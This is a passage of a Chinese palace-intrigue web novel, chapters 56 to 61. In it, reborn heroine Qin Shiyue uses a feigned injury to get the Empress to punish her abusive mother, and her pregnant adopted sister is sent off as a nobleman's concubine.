“够了!”长乐侯猛拍一下桌子,像模像样的看着秦时月道,“你母亲有失心疯,她不是有心要打你的,你切莫要跟她一般见识。” 平心而论,他早就想教训教训秦时月了,因为在他看来,秦时月并不受他的掌控。 可她这段时间荣宠正盛,所以他并不敢动手,如今由一个“疯子”动手,别人倒是说不出什么。 第56章 秦可云失踪 “父亲放心,时月不敢。” 秦时月垂下头轻抚小脸,声音委屈。 心里却在想,她是不会计较,但不能保证其他人不计较,例如,皇后娘娘。 长乐侯满意的点点头,这才看着长乐侯夫人冷声道,“你看看你如今像什么样子?” “我像什么样子?我跟你说过,可云她乃天命之女,她会给侯府带来无上荣耀,可你竟然将她囚禁起来,这不是要葬送侯府的荣耀吗?” 天命之女? 秦时月挑眉。 难不成,又跟那个所谓的高僧有关? “够了!本侯从来不相信这些无稽之谈,更何况,将她关进柴房的指令不是我下的,而是辰王。” 长乐侯嘴上说着不信,心里却在打鼓。 侯府这些年确实顺风顺水,直到秦时月回府… 想到这,他眉头一拧,眼神不自觉落到了秦时月身上。 难不成,她真是那高僧口中的灾星? “辰王…”长乐侯夫人脸色一白,身子有些摇摇欲坠,可下一秒,她又死死瞪向秦时月,“是你,是你迷惑辰王,让他厌弃可云的!秦时月,你明明是我亲生的,为什么你就是见不得侯府好呢!” 都怪她,要不是她当时心软让秦时月留下来,可云不会被关,侯府也不会乱套! 秦时月垂着头不说话,实则是心寒到对他们无话可说。 秦怀瑾眼看事态的发展对他有利,他连忙开口,“父亲,辰王当时并没有说过要关可云多久,我看日子也差不多了,不如就放出来吧。” 长乐侯犹豫一下,还是点了头。说到底,他也怕那个什么高僧的预言。 就在秦怀瑾高兴的要亲自去放秦可云出来的时候,一个下人突然慌慌张张的冲了进来。 “侯爷,不,不好了…” “慌慌张张的成何体统?出什么事了?”长乐侯不悦的道。 “是,是可云小姐她,她不见了…”下人不敢抬头,浑身不停哆嗦。 他是负责看管秦可云的,刚刚尿急去小解,一回来就发现柴房的门被破坏了,而秦可云,消失不见了。 “你说什么?”长乐侯、长乐侯夫人以及秦怀瑾全都瞪大了双眼,满脸不敢置信。 他们刚决定把人放出来,人却不见了? 长乐侯夫人双眼一翻,昏死过去。 秦时月在心里冷哼一声,故作紧张的招呼人,“来人,快将母亲送回去!” “侯爷,您先别急,可云小姐聪明过人,说不定是回自己的院子了。”芳娘扶着长乐侯宽心,心里却在佩服秦时月。 她才不相信被饿了多日的女子能破门逃出去,她方才可没错过小荷离开的背影。 就在芳娘胡思乱想之际,一道似笑非笑的目光落在了她身上。 她心中一惊,看过去,只见秦时月正看着她,那眼神…让她浑身发冷。她连忙收回视线。 “你说的对,快,快去西院找,务必给我把人找到!” 长乐侯下令,所有下人出动,秦怀瑾更是动作麻利的往外跑。 只有秦时月在肖嬷嬷的搀扶下款款往揽月园走去。 “小姐,刚刚您为何不躲啊?”肖嬷嬷心疼的直抹眼泪。 以小姐的聪慧,绝不可能躲不过去的。 “好了嬷嬷,我这不是没事吗?你快别哭了。”秦时月笑笑,眼底透着一丝狡黠。 为何要躲?她不仅不会躲,还要再添一把小火。 这一夜,长乐侯府鸡飞狗跳的找了一夜,却没有找到秦可云的影子。 翌日一早,秦时月就带着面纱上了侯府的马车,直奔皇宫。 皇后听到通传,立刻命绘春去接人。 看到秦时月带着面纱,绘春忍不住笑了笑,“姑娘也不是头一次进宫,怎么今日带上了面纱?” 秦时月声音软糯,“没什么,前两日不知吃了什么,脸上长了些疹子,我担心吓到娘娘。” 绘春是当真喜欢她,一听说她长了疹子,顿时皱起了眉头,“可找人看过了?算了,一会儿我亲自去趟太医院吧,外头的医者到底不如太医经验丰富。” “不用劳烦姑姑了,我已经上过药了。” 要是不上药,她的脸也不至于肿的老高… 秦时月知道皇后娘娘是真心待她的,她也不该利用皇后娘娘,可想要彻底洗牌,只能借皇后娘娘的手。 绘春没有多说什么,只是加快了步伐。 临进凤仪宫,绘春顿了一下,“长公主在里头陪娘娘说话,姑娘进去后说话要谨慎些。” 长公主殿下乃当今陛下一母同胞的长姐,性格古怪,稍有不慎便会得罪于她。 绘春不知秦时月和长公主之间的事,自然要提醒一二。 “多谢姑姑提醒。” 她和长公主私交不错,只是这种事由她说出来,不知道会不会引起长公主的不悦,所以没有多嘴。 殿内,皇后娘娘和长公主相谈甚欢,言语间围绕着秦时月。 “时月的确是个好孩子。”皇后道。 “谁说不是?也就是本宫福薄,但凡本宫有儿子,定让他追求时月。” 皇后有些无奈,不过,想到秦时月,她又觉得一切合理,也暗自庆幸自己下手快,否则以她儿子宋墨辰的性子,想要娶到时月,还指不定要猴年马月的。 “参见皇后娘娘、长公主殿下。” 两人正谈笑间,秦时月的声音突然响起。 两人一起回过神,满脸笑意的让人起来赐座,也是这个时候,她们才注意到秦时月脸上的面纱。 “时月,这是怎么了?”皇后娘娘问道。 “回娘娘。”秦时月又说了一遍长疹子的事。 长公主皱了皱眉,“时月医术高明,若只是寻常疹子,怎么可能医治不了?” 皇后脸色难看,眼里透着担心,“时月,将面纱取下来本宫看看。宫中太医医术高明,若真是疹子,他们也能帮着调理一二。” 方才长公主跟皇后说过秦时月为她治疗头疾的事,所以皇后也不相信秦时月只是长疹子这么简单。 秦时月股作为难,然后动作缓慢的取下面纱,露出了红肿的右脸。 长公主顿时倒抽一口冷气。 第57章 为秦时月撑腰 皇后想起暗卫汇报的,关于长乐侯府的调查结果,当场变了脸,“大胆!” 她猛拍一下身边的软枕,脸色阴沉,“这是怎么回事?” 秦时月噗通一声跪在地上,柔弱的身子跪姿挺拔,“娘娘息怒,是,是臣女不小心碰到的…” “你这孩子,快起来说话。” 皇后心疼,小荷动作也快,紧接着跪下,砰砰磕头,“娘娘可要为我们小姐做主啊,夫人她昨日发了好大的火,一巴掌…” “小荷!”秦时月拧眉呵斥,不让她再说下去。 小荷连忙跪伏在地上,不敢再多嘴。 皇后冷着脸,连说几声好,然后将绘春喊了过来,“去,将长乐侯夫人给本宫带过来!本宫倒要看看,她有多大的火气,竟然敢动未来的辰王妃!” 长公主原本还在担心,但将这一切收入眼底后,顿时无奈的笑了笑。 这个小机灵鬼儿,今日这趟怕是故意的。 皇后娘娘未必看不出来,只是同她一样,真心喜欢时月这孩子,所以见不得她受委屈,愿意为她出头。 不过,长乐侯府也确实该敲打敲打! 绘春刚领命离开,皇后就命身边的赵公公去请太医。 不管这孩子动的什么心思,看着她肿着脸,皇后就针扎一样心疼。 秦时月当初不仅救了皇后的命,还顺道救了他,如今看到秦时月受伤,他也心疼的不得了,连忙去请太医了。 不一会儿,太医背着药箱匆匆赶来,因为赵公公提前说过,所以他备了些消肿化瘀的药膏,一并带了过来。 检查后,太医帮她上过药,这才退下。 皇后看着她,眼里满是心疼,“时月,你放心,本宫定不会让你白白受这委屈。” “多谢娘娘。”秦时月心里发酸。 不多时,绘春领着长乐侯夫人走了进来。 长乐侯夫人这段日子被“疯疾”折磨的不轻,虽然出门时彩云、唤梦为她上了妆,但还是掩盖不住她眼底的乌青。 再加上她脸颊瘦削,目光呆滞,顿时给人一种浑身不适的感觉。 她一进门看到秦时月,心里咯噔一下。 绘春沉着脸,不悦道,“长乐侯夫人,见到皇后娘娘还不行礼?” “拜见娘娘,拜见长公主…”长乐侯夫人白着一张脸,连忙跪下。 “夫人可真是好大的胆子,竟然敢动本宫未来的儿媳妇!”皇后娘娘冷哼一声。 长乐侯夫人心里一紧,连忙跪在地上,“娘娘息怒,臣妇,臣妇是一时气愤乱了方寸…” “一时气愤?” “一时气愤就可以随意打骂?你可知时月她不仅是本宫的未来儿媳妇,更是本宫的救命恩人!你打她,可想过后果?” 长乐侯夫人身子一颤,不敢再多言。 皇后看着她,眼神厌恶,“听说夫人前些日子患了疯病,我看确实疯的厉害,这侯府夫人之位怕是不能胜任,既如此,便自请下堂吧。” 她就是要给秦时月做主! 若长乐侯府以后还是容不下时月,那长乐侯府也没有存在的必要了! “娘娘息怒,臣妇,臣妇再也不敢了…时月,时月你快跟娘娘解释一下,替母亲说说情啊。” 不行,她不能自请下堂,一旦她失去了侯府夫人的身份,那些世家贵族的女眷一定会看她笑话,还有芳娘那个贱人,一定会趁机夺权! 秦时月冷眼看着这一幕,并不插嘴。 这原本就是她要的结果,替她求情?那自己也太蠢了! “娘娘,娘娘饶恕我这一次吧,我,我当时是疯病犯了,所以才会误伤了时月,并不是真心要打她的。” 眼看秦时月不为自己辩解,长乐侯夫人心里恨意滔天,但她顾不得那些,只是鼻涕眼泪一脸,不断磕头求饶。 “时月,你认为呢?”皇后端起茶盏,漫不经心的喝口茶,问道。 秦时月盈盈一拜,怯懦开口,“母亲说的是,她是因为秦可云的事,不小心动怒伤到我的,还望娘娘饶恕母亲的罪责。” 看似在开罪,实则在将实情说出。 长公主挑挑眉,脸色难看,声音也冷的不像话,“可是坏了本宫琼花宴的丫头?好你个长乐侯夫人,亏你贵为从三品夫人,竟放着时月这样好的女儿不心疼,偏去宠信一个不要脸面的荡妇养女。真是好的很!” 长乐侯夫人脸色更白,嘴唇都失去了颜色。 琼花宴她们设计的原本是秦时月,不想哪里出了问题,最终害秦可云中招。 原本可云可以在长公主面前露脸的,现如今倒成了长公主的眼中刺… 不要紧,这些事情可以慢慢修复,现在关键的是她侯府夫人的地位。 长乐侯夫人眼珠子转了又转,咽口唾沫让自己努力镇定,然后哭诉道,“殿下误会了,臣妇,臣妇最爱的自然是时月,只是当年,当年可云救过臣妇一命,臣妇待她便如皇后娘娘待时月,还请娘娘、殿下明察啊!” 秦时月挑挑眉,心里不由的一阵冷笑。 说她蠢,她还真是蠢到家了。 她以为这样拙劣的谎话真能骗到皇后和长公主?天真! 果然,皇后脸色一沉,攥着茶盏突然砸向长乐侯夫人。 长乐侯夫人看到了,却不敢躲,硬生生挨了一下,额头被砸出一道口子,鲜血顺着她的额头就滑了下来。 “放肆!你竟敢欺骗本宫,你可知这是什么罪?来人!给本宫脱去她的命妇服制!”皇后大怒,宫人们顿时跪了一地。 混账东西,她真当自己糊涂,不知秦可云是如何被侯府收养的? 长乐侯夫人浑身发颤,眼睛一翻,直接昏死过去。 看到这一幕,秦时月没有大仇得报的舒爽,也没有亲人蒙难的动容。 毫不夸张的说,她的内心没有半点波动。 “时月对本宫的处罚可还满意?”皇后收回目光看向秦时月,一时间有些摸不准她的心思。 秦时月突然跪下,声音低沉,“娘娘处置得当,臣女多谢娘娘做主。” 皇后眼神一柔,“快起来,你这孩子动不动就跪,以后可要改改这个毛病。” 第58章 得长公主庇佑 看来,她得下一道懿旨,免得这孩子见了谁都要大跪小拜的。 在皇后的授意下,长乐侯夫人被太医诊治后抬了下去,由绘春亲自送回了长乐侯府,一同带去的,还有一道懿旨。 长乐侯夫人的事处理了,皇后揉了揉额头,“本宫有些乏了,今日就不留你们用膳了。” 长公主和秦时月同时起身,福了福身子便离开了凤仪宫。 出宫的路上,长公主忍不住笑道,“你这孩子,就不怕苦肉计不好使?” 这样娇嫩的脸蛋就为了拉下长乐侯夫人,这孩子也太不把自己当回事了。 秦时月苦笑一下,声音有些低,“臣女也是没办法,若是臣女不想办法自救,在那样的虎狼窝,怕是熬不下去…” 这一点她没说错,毕竟上一世,她就是被那群人给害死的。只是重来一次,她为刀俎,那群人,成了鱼肉。 长公主皱皱眉,脚下顿了一下。 她知道这孩子过的不好,但没想到,就连长乐侯和长乐侯夫人都不将她当回事。 她转过身拉过秦时月冰凉的小手,眼里满是心疼,“时月,本宫没有子女,你若是不嫌弃,以后本宫拿你当亲生女儿待。” 秦时月如今是未来辰王妃,收为义女显然不合理,但这并不妨碍她对秦时月好。 秦时月愣了一下,身体有些僵硬。 上一世,她为亲情所困,最终丢了命。 这一世,她不要了,皇后娘娘和长公主殿下却待她亲善,让她感受到了从未有过的温暖。 说不感动是假的,但是她怕…怕再次万劫不复。 “好了好了,本宫没别的意思,你快别一副要上刑场的样子。” 见她久久不回话,长公主显然误会了她的意思,连忙说道。 “殿下误会了。殿下厚爱,时月感激不尽。”秦时月当即跪下。 虽未改称呼,但两人心如明镜,都知道这一跪意味着什么。 长公主连忙将她拉起来,眼眶泛红,“好好好,月儿放心,日后,本宫绝不会让任何人伤害你!” 说着,她抬起纤纤玉手,轻柔的抚摸过秦时月的脸颊,掌心像是传来了火辣辣的灼烧感,让她一阵气闷,恨不得去将长乐侯夫人痛打几十大板。 “殿下,时月已经不疼了。”秦时月道。 她确实不觉得疼了。 她调配的药物只会让伤势看起来严重,但实际却能止痛生肌,保证不留疤痕。 “好孩子。”长公主一阵心疼,知道她这是在安抚自己的情绪。 今日皇后娘娘已经处罚过,她就是有心处罚,也不能赶在同一天。 一来是有挑战皇后权威的嫌疑,二来,传出去,难免会有人将矛头指向秦时月。 不过,长公主也不是个吃暗亏的,秦时月如今于她而言已经不再是无关紧要的人,有些事,她要替秦时月打算起来。 秦时月前脚踏进长乐侯府的大门,后脚就被长乐侯叫到了祠堂。 “放肆!你给我跪下!” 秦时月扫了眼稳坐高堂的祖母,和陪伴在她身侧的长乐侯,淡然下跪。 “拜见祖母、父亲。” 这位祖母常年青灯为伴,已有多年不问府中事物。 今日露面,不用想也知道,定然是因为长乐侯夫人的事。 “好啊,老身倒是不知,咱们这长乐侯府出了个人物,竟蛊惑的皇后娘娘亲下懿旨,剥夺了侯府主母的身份!” 老夫人寒着脸,倒三角眼里带着一丝毒辣。 这些年她过的顺风顺水,却从来不认为这一切的荣光来源于秦时月,相反,她做惯了这侯府的老太君,只觉得一切都是她儿子长乐侯的造化,还有她的睿智领导。 秦时月虚咳两声,然后白着一张小脸抬头,“孙女不知祖母此话何意。” 上一世她遭受非人的折磨,始终不见祖母露面,她还当祖母不问世事,并不知她的遭遇。 可她死后,魂魄被禁锢在这座吃人的牢笼才发现,她所有的遭遇,他们这位祖母都看在眼里,甚至在她苦苦哀求他们放自己一马时,是这位祖母出谋划策,让他们将自己的事料理干净… 原以为她会像上一世一样,非到不得已的时候现身,好将自己辛苦打造的人设贯彻到底,可没想到,只是母亲的地位受到影响,她就坐不住了。 秦时月心里冷笑,面上却一副恭敬。 之前她还犹豫着下一个该拿谁开刀,祖母就耐不住寂寞了。 既然这样,那她就送她一程。 不过在此之前,她要让世人看清祖母伪善、与世无争的皮囊下的真实嘴脸! 秦时月暗暗思索接下来的行动,面上却不显分毫,看上去就像在静静等待老夫人下文的乖孙儿。 老夫人冷哼一声,眼神凌厉,“不知?我且问你,你今日可是进宫了?” “回祖母的话,是。” “你进宫都与娘娘说了些什么?” “只是些家常。”秦时月抬着眸,眸色干净,让人有些看不透。 长乐侯皱眉,表情有些难看,“只是话些家常,皇后娘娘怎么会命人将卓静抬回来,又怎么会下懿旨,剥夺她长乐侯夫人的身份?” 虽然长乐侯有心抬芳娘为平妻,但他不想遭人诟病,让人说他不顾念夫妻情分,所以此事一直搁置。 他没想到,秦时月却一趟皇宫,卓静就被免了身份。 虽然皇后娘娘没有下旨让他休妻或和离,可这种事传出去,和休妻又有什么区别? “女儿不知,是不是母亲得罪了皇后娘娘?”秦时月故作疑惑,“这事也怪女儿,女儿要是能看着些母亲就好了。” 老夫人和长乐侯显然不信她的话,正要申斥,秦时月却捂着嘴,后怕的道,“皇后娘娘不会因为母亲的事迁怒侯府吧?早知如此,女儿就该留在宫里好好求求娘娘…” 此言一出,老夫人和长乐侯脸色同时一变。 他们不是不知道,秦时月这番话只是在吓人。 但常言道,伴君如伴虎,谁又敢担保皇后娘娘不会真的迁怒于侯府? “你,你起来回话。”老夫人铁青着脸色。 第59章 摆脱嫌疑? 秦时月缓缓起身,嘴角带着似有若无的笑意。 她可不信他们这位洞观一切的老夫人会因为一句话就敢到害怕。 不过,他们想做什么,自己接着就是! 老夫人眼珠子一转,脸色柔和几分,然后打破了沉默,“月儿,祖母听说你母亲当众责罚你的事了,只是她毕竟是你的母亲,你心里有气,大可以跟祖母说,没必要进宫告…” “祖母怀疑时月进宫是为了告状?”秦时月秀眉微拢,微微欠了欠身,“母亲既是母亲,也是侯府主母,无论于情于理,她都有惩处的权利,孙女又怎么会为了区区一巴掌就跟皇后娘娘说嘴呢?” 老夫人没料到她会打断自己,更没想到她会这么说,眼神一凛,随后干笑两声,努力让自己冷静下来,“祖母自然是信你的,看来这其中,应该有祖母不清楚的事。” 秦时月皱着眉,一脸苦涩,“祖母说的是。只是母亲被剥夺身份,不知外边的人会怎么传,孙女倒也罢了,有皇后娘娘做主指给了辰王,就是苦了家里的女眷。” “好了!”长乐侯脸色铁青的打断她的话,“此事不用再说了。” 他不信此事跟秦时月无关,只是她说的对,如今事情已经到了这个地步,他该考虑的,是如何不让此事影响到侯府。 老夫人的脸色也不好看,但总归没有再给秦时月难堪,摆了摆手,让他们退下了。 “老夫人,大小姐的话可信吗?” 老夫人身边的嬷嬷看着祠堂门被关上,皱着眉头问。 “这丫头性情变化太大,我也有点拿不准。”老夫人眼神幽暗,声音夹着着几分算计,“你派人给我盯紧了,不论她有什么动静,都尽快报给我。” 卓静被拉下来,只能证明她自己没本事,老夫人并不真正放在心上。 她唯一担心的是,家里有人脱离掌控。 “是。”嬷嬷领命。 秦时月在小荷的搀扶下回到揽月园后,肖嬷嬷连忙迎了上来。 “小姐,听说侯爷叫您去祠堂了,可有说什么?”她一边问,一边紧张的查看秦时月的膝盖,生怕她又被罚跪。 秦时月笑笑,“没什么,对了,西院可有人来传话?” “有,芳姨娘身边的婢女过来了一趟,说是想请您过去一趟,说是有要事相商。”肖嬷嬷皱着眉,脸上带着几分担忧,“小姐,那芳姨娘怕是又想耍什么手段。” “应该是为了母亲被剥夺身份一事。”秦时月没有放在心上,反而说道,“你去回个话,让她稳定心神按部就班,好好打理侯府。” 肖嬷嬷点点头退了下去。 秦时月思索一下,抬眸看着“揽月园”三个大字,跟小荷说道,“你去灵霄观一趟,帮我办件事。” 师傅离不开这里,不知是不是无人供奉的缘故。 若她能为她供奉灵位,再请观主日日诵经,或许,她能逃脱这座牢笼… 半月后,天清气朗,阴了两日,难得太阳出来,挥散了些许阴霾。 秦时月正在屋内读书,暖阳透过窗户洒进来,在她身上渡上一层金光。 就在此时,下人匆匆来报。 “怎么回事?”秦时月翻张书页,头也不抬。 “回小姐,是可云小姐被找回来了,只是…” “只是什么?” “只是,她小腹隆起,看样子是怀了身孕。”小荷脸色红透,心里却在暗骂秦可云不知廉耻。 她消失半月,不知和谁鬼混,竟然带着野种回来了,这不是要害小姐名声吗? 秦时月面色不变,眸光却闪了闪。 这结果,跟她所料一样。 “小姐!”肖嬷嬷掀开帘子冲了进来,“小姐,芳姨娘让我请您到花厅。” “嗯,走吧。”秦时月合上书本起身。 见她脸上没有半点疑惑,肖嬷嬷忍不住皱了皱眉头。 小姐这样子,怎么看都像是对此事了如指掌。 不可能不可能,小姐这半月来大门不出二门不迈,一定是自己想多了… 天气暖和了不少,秦时月穿一袭淡粉色绣蝴蝶兰的夹袄衣裙,就这样出发了。 花厅里,气氛压抑,长乐侯黑着一张脸,死死瞪着跪在中间的人,秦怀瑾则紧紧攥着拳,眼里情绪复杂。 芳姨娘始终不发一语,见秦时月进来,连忙和她交换个眼神。 “父亲,这是怎么了?”秦时月皱着眉头,一副不明所以的样子。 “怎么了?这个混账东西,她竟然与人暗通款曲,珠胎暗结!”长乐侯重重拍了一下身边的茶几,暴跳如雷。 若只是珠胎暗结也就罢了,他气的是,秦可云竟然挺着大肚子招摇过市,大摇大摆的进了她长乐侯府。 如此一来,长乐侯府的声誉算是被她给败光了! “父亲,这孩子乃是陆世子的,女儿今天回来不为别的,只为父亲能请母亲出面,为女儿提亲…” 秦可云攥紧拳头,面上却哭的梨花带雨,好不可怜。 “秦可云,你这不是在为难父亲吗?”秦时月心疼的看了眼长乐侯,然后道,“若是你私下找父亲商议,父亲看在往日的情分上,倒是可以帮帮你,可你偏偏这般…出现在侯府,你这不是让外人笑话父亲吗?” 长乐侯脸色铁青,看来是被戳中了心事。 芳娘心领神会,立刻道,“大小姐说的不错,家里的女眷倒也罢了,大小姐争气,得了皇后娘娘青睐,觅得如意郎君,可家里的哥儿呢?他们日后是要进官场的,你如今这遭,这不是要毁掉他们的前程吗?” 秦怀瑾原本心里难受,听到这些话,脸色当即难看起来。 他虽然不喜秦时月,但她说的有道理。 还有芳姨娘,她掌家后,自己的月银非但没少,每月还多了一两,就连他的吃穿用度都要比秦明远好上一些,这让他生出了几分亲切。 所以他丝毫没有怀疑芳姨娘这番话的用心,反而觉得她就是在为他和秦明远的前程着想, 而秦可云倒好,怀了别人的野种闹上门来,想让父母亲出面为她求亲,简直不知所谓! 第60章 陆世子赶到 秦可云脸色惨白,身子有些摇摇欲坠,但她仍不死心的看向了秦怀瑾。 以往在这个家里,除了长乐侯夫人,就属她这个“大哥”对她最好了,如今木已成舟,她就不信他会眼睁睁看她被秦时月这个贱人欺负。 秦怀瑾看着她,突然朝着长乐侯单膝跪地。 所有人都愣了一下,就连秦时月都忍不住挑了一下眉头。 “父亲,芳姨娘说的对,这件事还是要从长计议的好。” 秦可云浑身一僵,眼底瞬间迸发出强烈的恨意。 是秦时月,一定是自己不在的这段时间,秦时月蛊惑了他们所有人! 对了,还有长乐侯夫人,她若是知道自己的遭遇,一定会帮她! 想到这,秦可云咬着下唇,泫然欲泣,“父亲,我要见母亲,母亲一定会帮我的。” “够了!”长乐侯大喝一声,“枉我和卓静对你这般好,你不知回报也就罢了,如今竟然以恩报怨,你给我滚!从此以后,我就当从来没有收养过…” “侯爷,陆世子来了。” 长乐侯的话还没说完,下人急匆匆的进来汇报。 他皱皱眉,心里有点烦躁。 早不来晚不来,偏偏这个孽女回来他就来了。 秦时月侧眸看向眼神得意的秦可云,嘴角微勾。 看来,秦可云不算太笨,还知道在回来前先去定远侯府报信。 就是不知道,她今日能不能得到她想要的结果… 秦时月给小荷一个眼神,小荷立刻扶着她落座。 长乐侯和秦怀瑾不悦的瞪了她一眼,见她脸色发白,这才只是哼了一声,没过多责备。 不多时,陆明昭带着随从成安进来了,他一进门就看到了坐在旁边的秦时月。 她比上次见面,似乎又消瘦了些… “伯父。”陆明昭收回视线,扫了眼跪在地上头发散乱,哭的梨花带雨的秦可云,眼底闪过一丝厌恶,“我今日来,是为了可云。” 秦可云心中狂喜,为了不让众人察觉她的心思,她连忙期期艾艾的垂下了头。 长乐侯的脸色有些难看,但想到陆明昭和秦可云之间早有婚约,只能收敛怒气,“贤侄坐下说,来人,看茶。” “伯父,不必了。”陆明昭态度谦逊,“听说可云回府了,我和母亲商量着,也差不多该接她过门了。” 此言一出,花厅里顿时陷入了诡异的寂静,因为所有人都知道他的这番话意味着什么,那就是,秦可云要以妾室的身份,进入定远侯府。 秦可云浑身一僵,不敢置信的抬眸看向陆明昭。 她之所以找人代为传信请他过来,就是算准了他对自己有情。再加上腹中骨肉,他一定不会委屈自己,让自己做妾。 可他这番话,彻底击碎了秦可云的信心,让她不敢相信眼前这个男人是她不顾一切也要嫁的人。 长乐侯怒不争气的瞪了秦可云一眼,然后落座,“贤侄说的是。” 他们早有婚约,定远侯府也早就来过信,只肯以妾室的身份让秦可云过门,自己没什么好说的。 再加上秦可云现在大了肚子,如果能早点摆脱她,也未尝不是一件好事。 想到这些,长乐侯又问,“不知贤侄可与定远侯商量了过门的日子?” “不过一个小妾,若伯父不介意,我今日就带她离开,小轿已经停在门口了…” “不,我不要!”秦可云突然白着脸喊道,“世子,世子,你答应过我会三媒六聘娶我回去做你的妻,你,你如今怎能如此待我?” 她一边哭诉,一边跪爬向他,原本小家碧玉的脸上脂粉化开,更像地狱里爬出来的恶鬼。 与白皙如皎月,温婉又端庄的秦时月形成了鲜明的对比。 陆明昭强忍着想一脚将她踢开的冲动,不动声色退后半步,“这件事不是我能左右的,琼花宴的事闹的人尽皆知,已然令长公主不满了,若我不顾一切强娶你,不仅我自己,就连定远侯府也要受牵连。” 此话一出,秦可云浑身没力般瘫软在地上。 琼花宴的事是她一生的痛。 明知道这番话很可能是陆明昭来搪塞她的,偏偏她无法反驳。 秦怀瑾犹豫片刻,还是开了口,“陆世子,虽说是迎妾进门,不需要太多繁琐的礼教,但想必陆家也不急于这一时,不如今日就让可云留下来,待明日下人们给她梳妆打扮后,由长乐侯府送过去。” 他对于秦可云是痛恨的,但…也是无法割舍的。 他见不得秦可云被如此糟蹋,唯一能想到的,就是给她一些依靠。 有长乐侯府出面送人过去,想来定远侯府的下人们也不会太狗眼看人低。 秦可云浑身发抖,眼里却是多了几分希冀。 看到这一幕,秦时月忍不住想笑。 这样就看到希望了?那可不行。 “兄长,这恐怕不妥吧…”她故意迟疑的开口。 “秦时月,你一个未出阁的姑娘家,最好还是少说话的好。”秦怀瑾不满。 就在芳娘想帮腔的时候,陆明昭却一反常态的皱起了眉头,“秦兄这话本世子倒是听不懂了。时月是长乐侯府的嫡出大小姐,是长乐侯府的女眷,怎么就没有说话的权利了?” 众人,“!!!” 秦时月皱皱眉,眼底闪过一丝狐疑。 这陆明昭怕不是吃错药了,怎么突然为自己说起了话? “咳,侯爷,请恕妾身多嘴,大小姐处处为侯府出发,况且又是未来王妃,不如,听她一句?”芳娘察觉到气氛不对,连忙出声。 长乐侯收起复杂的心思,让秦时月继续。 “今日秦可云挺着肚子回来,势必会落人口实,琼花宴一事已经连累父亲在朝堂上的名声,若父亲执意留下秦可云,以长乐侯府的名声送她去定远侯府,只怕又要掀起不小的风波。即便父亲不担心自己的名声,可兄长呢?他今年可是要参加春闱的啊。” 此话一出,秦怀瑾的脸色变了又变。 他很想说自己不在乎什么劳什子的名声,可话到嘴边,他怎么都说不出来,最终,只能别开脸,不再看秦可云。 第61章 造谣一张嘴 将这一幕收进眼底,秦时月在心里笑了。 看吧,这就是他们所谓的情分,她真当为了秦可云,他可以不顾一切的,如今看来,不过尔尔。 秦可云脸色惨白,紧紧攥起的拳头青筋毕现。 “父亲,大哥…” “时月说的对,贤侄,既然你今天是特意来接可云的,我这就让人给她梳洗打扮,一会儿便让她跟着你走吧。”长乐侯脸带笑意道。 秦怀瑾太让他失望了,如此浅显的道理时月明白,他却不明白。 这让他如何放心将偌大的侯府交到他手上? 芳娘笑笑,“侯爷、陆世子,你们稍作休息,我这就带可云去洗漱。” 说着,给身边伺候的婢女使了个眼色,连拖带拽的将秦可云带了下去。 陆明昭见此事已了,转而看向秦时月,对着长乐侯道,“伯父,小侄有些话想单独和时月将,不知能否行个方便?” 长乐侯眉头一拧,没来由的心里跳了一下。 这陆明昭什么意思?明知道赐婚圣旨已下,虽说还没举行大婚,但秦时月已经是皇家内定的准王妃,他这般随心行事,就不怕皇家怪罪下来? 陆明昭像是反应过来自己说错话,忙解释,“伯父别误会,有小荷姑娘和成安在,小侄不会对时月做什么的,只是说些话。” “那你们就去偏厅说吧。”长乐侯深深看了眼秦时月,道。 他这一眼带着几分警告,看的秦时月只想笑。 偏厅里,秦时月率先开口,“不知陆世子找我有何事?” 她跟他可没什么情分。 陆明昭抿了抿嘴,“时月,我…” “陆世子还是叫我秦小姐吧,我们不熟。”秦时月打断了他的话,在小荷的搀扶下坐下,却丝毫没有客套,邀请他入座的意思。 陆明昭心里憋屈,明明她才是跟自己有婚约的人,怎么如今倒和自己生分成这样? “时…秦小姐,我娶秦可云是迫不得已,其实我想娶的…” “陆世子。”秦时月小脸一沉,“请陆世子注意分寸!你与秦可云的事,我并不想知道,若无其他话可说,我这就回去了。” 说着就作势要起身。 陆明昭心里着急,他好不容易跟她单独相处,不想就这么错过,“秦小姐,我知道你和辰王被赐婚的事,若是你心里不愿,我可以求父亲帮你去找陛下说情!” 他着急道。 定远侯府和长乐侯府不同,定远侯府的荣耀是定远侯一刀一枪拼杀出来的,即便会引起陛下的不悦,只要他父亲肯出面,陛下也会因为不想寒了老臣们的心而考虑考虑。 秦时月笑了,“陆世子这话我就听不明白了,辰王为人坦荡自爱,长相更是没得挑,不知你是从哪觉得我不愿意的。” “我…”陆明昭脸色难看,憋了半天,突然道,“他常年驻扎边疆,身边没有通房的丫头、侍妾,没有红颜知己,这种人,不是身体有疾就是,就是有龙阳之癖,你确定要嫁给他?” “无耻!”秦时月小脸一沉,眼神几乎能杀人。 陆明昭见她动怒,非但没有收敛,反而着急表明心意,“时月,以前是我错了,只要你点头,我立刻想办法帮你退了这门婚事,然后娶你为妻。我保证,以后一定好好待你!” “够了!你若是再口无遮拦,我这就进宫面见娘娘!”该死的东西,不仅抹黑辰王,更是在自己面前大言不惭。 她今日身上没有带药粉,否则的话,她定要让他好好吃些苦头! 陆明昭见她动了真格,虽然不甘心,但想起皇后娘娘对她的宠爱,也不敢再继续说下去。 “小荷,我们走。”秦时月不再看陆明昭,由小荷扶着,抬脚往外走去。 今日她虽然惩治不了他,但她也不会让她好过! 秦可云正被按在西院的闺房里上妆,一旁的芳娘止不住轻笑,“瞧瞧,二小姐当真人比花娇,难怪能让陆世子念念不忘的追到府里来呢。” 以前的她可绝对不敢这样对秦可云,不过现在嘛,一个不得宠又要泼出去的养女,她还有什么怕的? 秦可云紧紧攥着拳头,脂粉下的脸色难看又狰狞。 她还没输。 即便是妾又怎么样?只要她生下儿子,拿捏住陆世子的心,再过个三年两年,他总会看到她的好,重新迎娶她。 到那个时候,她要让所有看过她笑话的人付出代价! “吱呀。” 在芳娘笑看秦可云“挣扎”的时候,门开了。 秦时月款款进来,装都不装的坐到了一旁的软榻上。 芳娘见状,立刻福至心灵,抬手招呼她的婢女退出了屋子。 见状,秦可云还有什么不明白的? “你想做什么?”她捂着肚子,生怕秦时月要对自己不利。 如今她最大的仗凭就是这个孩子,若是出事,别说她还能不能翻身,就是定远侯府,怕是都进不去了。 “我来是提醒你,看好你的男人,别让他到处拈花惹草,最主要的是,别让他到我面前蹦跶,我恶心的紧。” 秦时月表情慵懒,说出口的话却让秦可云惊掉下巴。 “不,不可能,世子他…” 